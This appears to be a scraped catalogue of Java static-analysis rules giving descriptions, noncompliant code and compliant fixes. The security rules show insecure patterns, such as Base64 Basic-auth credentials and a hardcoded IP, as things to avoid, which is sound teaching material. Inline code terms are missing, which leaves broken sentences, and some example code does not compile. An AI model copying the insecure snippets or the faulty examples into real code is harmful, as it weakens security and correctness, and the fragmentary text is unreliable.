||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3985 |
Noncompliant Code Examplepublic class Foo { ... private class MyUnusedPrivateClass {...} // Noncompliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1314 |
Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values. Noncompliant Code Exampleint myNumber = 010; // Noncompliant. myNumber will hold 8, not 10 - was this really expected? Compliant Solutionint myNumber = 8; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1315 |
This rule allows you to track the use of the Checkstyle suppression comment mechanism. Noncompliant Code Example// CHECKSTYLE:OFF |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4823 |
Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities: Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized. Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure. This rule raises an issue when on every program entry points ( Ask Yourself Whether
If you answered yes to any of these questions you are at risk. Recommended Secure Coding PracticesSanitize all command line arguments before using them. Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information. Sensitive Code ExampleThis rule raises an issue as soon as there is a reference to argv, be it for direct use or via a CLI library like JCommander, GetOpt or Apache CLI. public class Main { public static void main (String[] argv) { String option = argv[0]; // Sensitive: check how the argument is used } } // === JCommander === import com.beust.jcommander.*; public class Main { public static void main (String[] argv) { Main main = new Main(); JCommander.newBuilder() .addObject(main) .build() .parse(argv); // Sensitive main.run(); } } // === GNU Getopt === import gnu.getopt.Getopt; public class Main { public static void main (String[] argv) { Getopt g = new Getopt("myprog", argv, "ab"); // Sensitive } } // === Apache CLI === import org.apache.commons.cli.*; public class Main { public static void main (String[] argv) { Options options = new Options(); CommandLineParser parser = new DefaultParser(); try { CommandLine line = parser.parse(options, argv); // Sensitive } } } In the case of Args4J, an issue is created on the Such a class is called directly by // === argv4J === import org.kohsuke.args4j.Option; import org.kohsuke.args4j.Argument; public class Main { @Option(name="-myopt",usage="An option") public String myopt; @Argument(usage = "An argument", metaVar = "<myArg>") String myarg; String file; @Option(name="-file") public void setFile(String file) { this.file = file; } String arg2; @Argument(index=1) public void setArg2(String arg2) { this.arg2 = arg2; } public void run() { // Sensitive: This function myarg.toString(); // check how this argument is used } } ExceptionsThe support of Argv4J without the use of No issue will be raised on See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2647 |
Basic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used. Noncompliant Code Example// Using HttpPost from Apache HttpClient String encoding = Base64Encoder.encode ("login:passwd"); org.apache.http.client.methods.HttpPost httppost = new HttpPost(url); httppost.setHeader("Authorization", "Basic " + encoding); // Noncompliant or // Using HttpURLConnection String encoding = Base64.getEncoder().encodeToString(("login:passwd").getBytes("UTF-8")); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("Authorization", "Basic " + encoding); // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1317 |
Instantiating a What actually happens is that the int representation of the character is used to determine the initial size of the Noncompliant Code ExampleStringBuffer foo = new StringBuffer('x'); //equivalent to StringBuffer foo = new StringBuffer(120); Compliant SolutionStringBuffer foo = new StringBuffer("x"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4829 |
Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities: It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated. This rule flags code that reads from the standard input. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesSanitize all data read from the standard input before using it. Sensitive Code Exampleclass A { void foo(String fmt, Object args) throws Exception { // Sensitive. Check how the standard input is used. System.in.read(); // Sensitive. Check how safe this new InputStream is. System.setIn(new java.io.FileInputStream("test.txt")); java.io.Console console = System.console(); // Sensitive. All the following calls should be reviewed as they use the standard input. console.reader(); console.readLine(); console.readLine(fmt, args); console.readPassword(); console.readPassword(fmt, args); } } ExceptionsAll references to Command line parsing libraries such as JCommander often read standard input when asked for passwords. However this rule doesn't raise any issue in this case as another hotspot rule covers command line arguments. See:
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1319 |
The purpose of the Java Collections API is to provide a well defined hierarchy of interfaces in order to hide implementation details. Implementing classes must be used to instantiate new collections, but the result of an instantiation should ideally be stored in a variable whose type is a Java Collection interface. This rule raises an issue when an implementation class:
Noncompliant Code Examplepublic class Employees { private HashSet<Employee> employees = new HashSet<Employee>(); // Noncompliant - "employees" should have type "Set" rather than "HashSet" public HashSet<Employee> getEmployees() { // Noncompliant return employees; } } Compliant Solutionpublic class Employees { private Set<Employee> employees = new HashSet<Employee>(); // Compliant public Set<Employee> getEmployees() { // Compliant return employees; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2761 |
The needless repetition of an operator is usually a typo. There is no reason to write On the other hand, the repetition of increment and decrement operators may have been done on purpose, but doing so obfuscates the meaning, and should be simplified. This rule raises an issue for sequences of: Noncompliant Code Exampleint i = 1; int j = - - -i; // Noncompliant; just use -i int k = ~~~i; // Noncompliant; same as i int m = + +i; // Noncompliant; operators are useless here boolean b = false; boolean c = !!!b; // Noncompliant Compliant Solutionint i = 1; int j = -i; int k = ~i; int m = i; boolean b = false; boolean c = !b; ExceptionsOverflow handling for GWT compilation using |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3973 |
In the absence of enclosing curly braces, the line immediately after a conditional is the one that is conditionally executed. By both convention and good practice, such lines are indented. In the absence of both curly braces and indentation the intent of the original programmer is entirely unclear and perhaps not actually what is executed. Additionally, such code is highly likely to be confusing to maintainers. Noncompliant Code Exampleif (condition) // Noncompliant doTheThing(); doTheOtherThing(); somethingElseEntirely(); foo(); Compliant Solutionif (condition) doTheThing(); doTheOtherThing(); somethingElseEntirely(); foo(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1310 |
This rule allows you to track the use of the PMD suppression comment mechanism. Noncompliant Code Example// NOPMD |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1311 |
The Cyclomatic Complexity is measured by the number of Even when the Cyclomatic Complexity of a class is very high, this complexity might be well distributed among all methods. Nevertheless, most of the time, a very complex class is a class which breaks the Single Responsibility Principle and which should be re-factored to be split in several classes. DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3972 |
Code is clearest when each statement has its own line. Nonetheless, it is a common pattern to combine on the same line an Noncompliant Code Exampleif (condition1) { // ... } if (condition2) { // Noncompliant //... } Compliant Solutionif (condition1) { // ... } else if (condition2) { //... } Or if (condition1) { // ... } if (condition2) { //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1312 |
Regardless of the logging framework in use (logback, log4j, commons-logging, java.util.logging, ...), loggers should be:
Noncompliant Code ExampleWith a default regular expression of public Logger logger = LoggerFactory.getLogger(Foo.class); // Noncompliant Compliant Solutionprivate static final Logger LOGGER = LoggerFactory.getLogger(Foo.class); ExceptionsVariables of type |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2886 |
When one part of a getter/setter pair is This rule raises an issue when either the method or the contents of one method in a getter/setter pair are synchrnoized but the other is not. Noncompliant Code Examplepublic class Person { String name; int age; public synchronized void setName(String name) { this.name = name; } public String getName() { // Noncompliant return this.name; } public void setAge(int age) { // Noncompliant this.age = age; } public int getAge() { synchronized (this) { return this.age; } } } Compliant Solutionpublic class Person { String name; int age; public synchronized void setName(String name) { this.name = name; } public synchronized String getName() { return this.name; } public void setAge(int age) { synchronized (this) { this.age = age; } } public int getAge() { synchronized (this) { return this.age; } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1313 |
Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities: Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:
Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact. Ask Yourself WhetherThe disclosed IP address is sensitive, eg:
There is a risk if you answered yes to any of these questions. Recommended Secure Coding PracticesDon't hard-code the IP address in the source code, instead make it configurable. Sensitive Code ExampleString ip = "192.168.12.42"; // Sensitive Socket socket = new Socket(ip, 6667); Compliant SolutionString ip = System.getenv("IP_ADDRESS"); // Compliant Socket socket = new Socket(ip, 6667); ExceptionsNo issue is reported for the following cases because they are not considered sensitive:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2885 |
Not all classes in the standard Java library were written to be thread-safe. Using them in a multi-threaded manner is highly likely to cause data problems or exceptions at runtime. This rule raises an issue when an instance of Noncompliant Code Examplepublic class MyClass { private static SimpleDateFormat format = new SimpleDateFormat("HH-mm-ss"); // Noncompliant private static Calendar calendar = Calendar.getInstance(); // Noncompliant Compliant Solutionpublic class MyClass { private SimpleDateFormat format = new SimpleDateFormat("HH-mm-ss"); private Calendar calendar = Calendar.getInstance(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1105 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when an open curly brace is not placed at the end of a line of code. Noncompliant Code Exampleif(condition) { doSomething(); } Compliant Solutionif(condition) { doSomething(); } ExceptionsWhen blocks are inlined (left and right curly braces on the same line), no issue is triggered. if(condition) {doSomething();} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1226 |
While it is technically correct to assign to parameters from within method bodies, doing so before the parameter value is read is likely a bug.
Instead, initial values of parameters, caught exceptions, and foreach parameters should be, if not treated as Noncompliant Code Examplepublic void doTheThing(String str, int i, List<String> strings) { str = Integer.toString(i); // Noncompliant for (String s : strings) { s = "hello world"; // Noncompliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2437 |
Certain bit operations are just silly and should not be performed because their results are predictable. Specifically, using |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5826 |
The This rule consequently raise issues on Noncompliant Code Example
public void setUp() { ... } // Noncompliant; should be annotated with @Before public void tearDown() { ... } // Noncompliant; should be annotated with @After
public void setUp() { ... } // Noncompliant; should be annotated with @BeforeEach public void tearDown() { ... } // Noncompliant; should be annotated with @AfterEach Compliant Solution
@Before public void setUp() { ... } @After public void tearDown() { ... }
@BeforeEach void setUp() { ... } @AfterEach void tearDown() { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1106 |
Shared coding conventions make it possible to collaborate efficiently. This rule makes it mandatory to place the open curly brace at the beginning of a line. Noncompliant Code Examplepublic void myMethod { // Noncompliant if(something) { // Noncompliant executeTask(); } else { // Noncompliant doSomethingElse(); } } Compliant Solutionpublic void myMethod { if(something) { executeTask(); } else { doSomethingElse(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4738 |
Some Guava features were really useful for Java 7 application because Guava was bringing APIs missing in the JDK. Java 8 fixed these limitations. When migrating an application to Java 8 or even when starting a new one, it's recommended to prefer Java 8 APIs over Guava ones to ease its maintenance: developers don't need to learn how to use two APIs and can stick to the standard one. This rule raises an issue when the following Guava APIs are used:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1228 |
Each package in a Java project should include a Compliant Solution/** * This package has non null parameters and is documented. **/ @ParametersAreNonnullByDefault package org.foo.bar; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1107 |
Shared coding conventions make it possible for a team to collaborate efficiently. This rule makes it mandatory to place closing curly braces on the same line as the next Noncompliant Code Examplepublic void myMethod() { if(something) { executeTask(); } else if (somethingElse) { doSomethingElse(); } else { // Noncompliant generateError(); } try { generateOrder(); } catch (Exception e) { log(e); } finally { // Noncompliant closeConnection(); } } Compliant Solutionpublic void myMethod() { if(something) { executeTask(); } else if (somethingElse) { doSomethingElse(); } else { generateError(); } try { generateOrder(); } catch (Exception e) { log(e); } finally { closeConnection(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1108 |
Shared coding conventions make it possible for a team to collaborate efficiently. This rule makes it mandatory to place a closing curly brace and the next Noncompliant Code Examplepublic void myMethod() { if(something) { executeTask(); } else if (somethingElse) { // Noncompliant doSomethingElse(); } else { // Compliant generateError(); } try { generateOrder(); } catch (Exception e) { log(e); } finally { closeConnection(); } } Compliant Solutionpublic void myMethod() { if(something) { executeTask(); } else if (somethingElse) { doSomethingElse(); } else { generateError(); } try { generateOrder(); } catch (Exception e) { log(e); } finally { closeConnection(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2438 |
While it is technically correct to use a The crux of the issue is that Noncompliant Code Examplepublic static void main(String[] args) { Thread r =new Thread() { int p; @Override public void run() { while(true) System.out.println("a"); } }; new Thread(r).start(); // Noncompliant Compliant Solutionpublic static void main(String[] args) { Runnable r =new Runnable() { int p; @Override public void run() { while(true) System.out.println("a"); } }; new Thread(r).start(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1109 |
Shared coding conventions make it possible for a team to efficiently collaborate. This rule makes it mandatory to place a close curly brace at the beginning of a line. Noncompliant Code Exampleif(condition) { doSomething();} Compliant Solutionif(condition) { doSomething(); } ExceptionsWhen blocks are inlined (open and close curly braces on the same line), no issue is triggered. if(condition) {doSomething();} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1220 |
According to the Java Language Specification:
To enforce this best practice, classes located in default package can no longer be accessed from named ones since Java 1.4. Noncompliant Code Examplepublic class MyClass { /* ... */ } Compliant Solutionpackage org.example; public class MyClass{ /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1221 |
Naming a method
In both cases, the method should be renamed. Noncompliant Code Examplepublic int hashcode() { /* ... */ } // Noncompliant public String tostring() { /* ... */ } // Noncompliant public boolean equal(Object obj) { /* ... */ } // Noncompliant Compliant Solution@Override public int hashCode() { /* ... */ } @Override public String toString() { /* ... */ } @Override public boolean equals(Object obj) { /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4970 |
The These derived exceptions are handled in dedicated The It is also possible that a single exception type in a multi-catch block may be hidden while the catch block itself is still reachable. In that case it is enough to only remove the hidden exception type or to replace it with another type. Noncompliant Code Examplepublic class HiddenCatchBlock { public static class CustomException extends Exception { } public static class CustomDerivedException extends CustomException { } public static void main(String[] args) { try { throwCustomDerivedException(); } catch(CustomDerivedException e) { // ... } catch(CustomException e) { // Noncompliant; this code is unreachable // ... } } private static void throwCustomDerivedException() throws CustomDerivedException { throw new CustomDerivedException(); } } Compliant Solutionpublic class HiddenCatchBlock { public static class CustomException extends Exception { } public static class CustomDerivedException extends CustomException { } public static void main(String[] args) { try { throwCustomDerivedException(); } catch(CustomDerivedException e) { // Compliant; try-catch block is "catching" only the Exception that can be thrown in the "try" //... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2675 |
A Noncompliant Code Exampleprivate synchronized void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { // Noncompliant //... } Compliant Solutionprivate void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { // Compliant //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3400 |
There's no point in forcing the overhead of a method call for a method that always returns the same constant value. Even worse, the fact that a method call must be made will likely mislead developers who call the method thinking that something more is done. Declare a constant instead. This rule raises an issue if on methods that contain only one statement: the Noncompliant Code Exampleint getBestNumber() { return 12; // Noncompliant } Compliant Solutionstatic final int BEST_NUMBER = 12; ExceptionsMethods with annotations, such as |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2674 |
You cannot assume that any given stream reading call will fill the Similarly, you cannot assume that This rule raises an issue when an Noncompliant Code Examplepublic void doSomething(String fileName) { try { InputStream is = new InputStream(file); byte [] buffer = new byte[1000]; is.read(buffer); // Noncompliant // ... } catch (IOException e) { ... } } Compliant Solutionpublic void doSomething(String fileName) { try { InputStream is = new InputStream(file); byte [] buffer = new byte[1000]; int count = 0; while (count = is.read(buffer) > 0) { // ... } } catch (IOException e) { ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1223 |
Having a class and some of its methods sharing the same name is misleading, and leaves others to wonder whether it was done that way on purpose, or was the methods supposed to be a constructor. Noncompliant Code Examplepublic class Foo { public Foo() {...} public void Foo(String label) {...} // Noncompliant } Compliant Solutionpublic class Foo { public Foo() {...} public void foo(String label) {...} // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4973 |
It's almost always a mistake to compare two instances of Noncompliant Code ExampleString firstName = getFirstName(); // String overrides equals String lastName = getLastName(); if (firstName == lastName) { ... }; // Non-compliant; false even if the strings have the same value Compliant SolutionString firstName = getFirstName(); String lastName = getLastName(); if (firstName != null && firstName.equals(lastName)) { ... }; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2677 |
When a method is called that returns data read from some data source, that data should be stored rather than thrown away. Any other course of action is surely a bug. This rule raises an issue when the return value of any of the following is ignored or merely null-checked: Noncompliant Code Examplepublic void doSomethingWithFile(String fileName) { BufferedReader buffReader = null; try { buffReader = new BufferedReader(new FileReader(fileName)); while (buffReader.readLine() != null) { // Noncompliant // ... } } catch (IOException e) { // ... } } Compliant Solutionpublic void doSomethingWithFile(String fileName) { BufferedReader buffReader = null; try { buffReader = new BufferedReader(new FileReader(fileName)); String line = null; while ((line = buffReader.readLine()) != null) { // ... } } catch (IOException e) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2676 |
It is possible for a call to Similarly, Noncompliant Code Examplepublic void doSomething(String str) { if (Math.abs(str.hashCode()) > 0) { // Noncompliant // ... } } Compliant Solutionpublic void doSomething(String str) { if (str.hashCode() != 0) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1104 |
Public class variable fields do not respect the encapsulation principle and has three main disadvantages:
By using private attributes and accessor methods (set and get), unauthorized modifications are prevented. Noncompliant Code Examplepublic class MyClass { public static final int SOME_CONSTANT = 0; // Compliant - constants are not checked public String firstName; // Noncompliant } Compliant Solutionpublic class MyClass { public static final int SOME_CONSTANT = 0; // Compliant - constants are not checked private String firstName; // Compliant public String getFirstName() { return firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } } ExceptionsBecause they are not modifiable, this rule ignores See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3878 |
There's no point in creating an array solely for the purpose of passing it as a varargs ( Noncompliant Code Examplepublic void callTheThing() { //... doTheThing(new String[] { "s1", "s2"}); // Noncompliant: unnecessary doTheThing(new String[12]); // Compliant doTheOtherThing(new String[8]); // Noncompliant: ambiguous // ... } public void doTheThing (String ... args) { // ... } public void doTheOtherThing(Object ... args) { // ... } Compliant Solutionpublic void callTheThing() { //... doTheThing("s1", "s2"); doTheThing(new String[12]); doTheOtherThing((Object[]) new String[8]); // ... } public void doTheThing (String ... args) { // ... } public void doTheOtherThing(Object ... args) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1699 |
Calling an overridable method from a constructor could result in failures or strange behaviors when instantiating a subclass which overrides the method. For example:
Noncompliant Code Examplepublic class Parent { public Parent () { doSomething(); // Noncompliant } public void doSomething () { // not final; can be overridden ... } } public class Child extends Parent { private String foo; public Child(String foo) { super(); // leads to call doSomething() in Parent constructor which triggers a NullPointerException as foo has not yet been initialized this.foo = foo; } public void doSomething () { System.out.println(this.foo.length()); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1215 |
Calling
Like for An application relying on these unpredictable methods is also unpredictable and therefore broken. The task of running the garbage collector and
calling |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2789 |
The concept of Noncompliant Code Examplepublic void doSomething () { Optional<String> optional = getOptional(); if (optional != null) { // Noncompliant // do something with optional... } Optional<String> text = null; // Noncompliant, a variable whose type is Optional should never itself be null // ... } @Nullable // Noncompliant public Optional<String> getOptional() { // ... return null; // Noncompliant } Compliant Solutionpublic void doSomething () { Optional<String> optional = getOptional(); optional.ifPresent( // do something with optional... ); Optional<String> text = Optional.empty(); // ... } public Optional<String> getOptional() { // ... return Optional.empty(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4605 |
Spring beans belonging to packages that are not included in a Noncompliant Code Example@Configuration @ComponentScan("com.mycompany.app.beans") public class Application { ... } package com.mycompany.app.web; @Controller public class MyController { // Noncompliant; MyController belong to "com.mycompany.app.web" while the ComponentScan is looking for beans in "com.mycompany.app.beans" package ... } Compliant Solution@Configuration @ComponentScan({"com.mycompany.app.beans","com.mycompany.app.web"}) public class Application { ... } package com.mycompany.app.web; @Controller public class MyController { // Compliant; "com.mycompany.app.web" is referenced by a @ComponentScan annotated class ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4603 |
The interface Noncompliant Code Example@ComponentScan public class MyApplication { ... } @SpringBootApplication public class MyApplication { ... } Compliant Solution@Configuration @Import({ DispatcherServletAutoConfiguration.class, ErrorMvcAutoConfiguration.class, HttpEncodingAutoConfiguration.class, HttpMessageConvertersAutoConfiguration.class, MultipartAutoConfiguration.class, ServerPropertiesAutoConfiguration.class, PropertyPlaceholderAutoConfiguration.class, WebMvcAutoConfiguration.class }) public class MyApplication { ... } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1217 |
The purpose of the To get the expected behavior, call the Noncompliant Code ExampleThread myThread = new Thread(runnable); myThread.run(); // Noncompliant Compliant SolutionThread myThread = new Thread(runnable); myThread.start(); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3516 |
When a method is designed to return an invariant value, it may be poor design, but it shouldn't adversely affect the outcome of your program. However, when it happens on all paths through the logic, it is surely a bug. This rule raises an issue when a method contains several Noncompliant Code Exampleint foo(int a) { int b = 12; if (a == 1) { return b; } return b; // Noncompliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4604 |
"@EnableAutoConfiguration" is a convenient feature to configure the Spring Application Context by attempting to guess the beans that you are likely
to need. The drawback is that it may load and configure beans the application will never use and therefore consume more CPU and RAM than really
required. This rule applies for Noncompliant Code Example@SpringBootApplication public class MyApplication { ... } @Configuration @EnableAutoConfiguration public class MyApplication { ... } Compliant Solution@SpringBootApplication(exclude = { MultipartAutoConfiguration.class, JmxAutoConfiguration.class, }) public class MyApplication { ... } @Configuration @EnableAutoConfiguration(exclude = { MultipartAutoConfiguration.class, JmxAutoConfiguration.class, }) public class MyApplication { ... } @Configuration @Import({ DispatcherServletAutoConfiguration.class, EmbeddedServletContainerAutoConfiguration.class, ErrorMvcAutoConfiguration.class, HttpEncodingAutoConfiguration.class, HttpMessageConvertersAutoConfiguration.class, JacksonAutoConfiguration.class, ServerPropertiesAutoConfiguration.class, PropertyPlaceholderAutoConfiguration.class, ThymeleafAutoConfiguration.class, WebMvcAutoConfiguration.class }) public class MyApplication { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2309 |
Files with no lines of code clutter a project and should be removed. Noncompliant Code Example//package org.foo; // //public class Bar {} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1219 |
Even if it is legal, mixing case and non-case labels in the body of a switch statement is very confusing and can even be the result of a typing error. Noncompliant Code Exampleswitch (day) { case MONDAY: case TUESDAY: WEDNESDAY: // Noncompliant; syntactically correct, but behavior is not what's expected doSomething(); break; ... } switch (day) { case MONDAY: break; case TUESDAY: foo:for(int i = 0 ; i < X ; i++) { // Noncompliant; the code is correct and behaves as expected but is barely readable /* ... */ break foo; // this break statement doesn't relate to the nesting case TUESDAY /* ... */ } break; /* ... */ } Compliant Solutionswitch (day) { case MONDAY: case TUESDAY: case WEDNESDAY: doSomething(); break; ... } switch (day) { case MONDAY: break; case TUESDAY: compute(args); // put the content of the labelled "for" statement in a dedicated method break; /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2308 |
Use of
Noncompliant Code ExampleFile file = new File("file.txt"); file.deleteOnExit(); // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3518 |
If the denominator to a division or modulo operation is zero it would result in a fatal error. When working with This rule supports primitive Noncompliant Code Examplevoid test_divide() { int z = 0; if (unknown()) { // .. z = 3; } else { // .. } z = 1 / z; // Noncompliant, possible division by zero } Compliant Solutionvoid test_divide() { int z = 0; if (unknown()) { // .. z = 3; } else { // .. z = 1; } z = 1 / z; } See
|
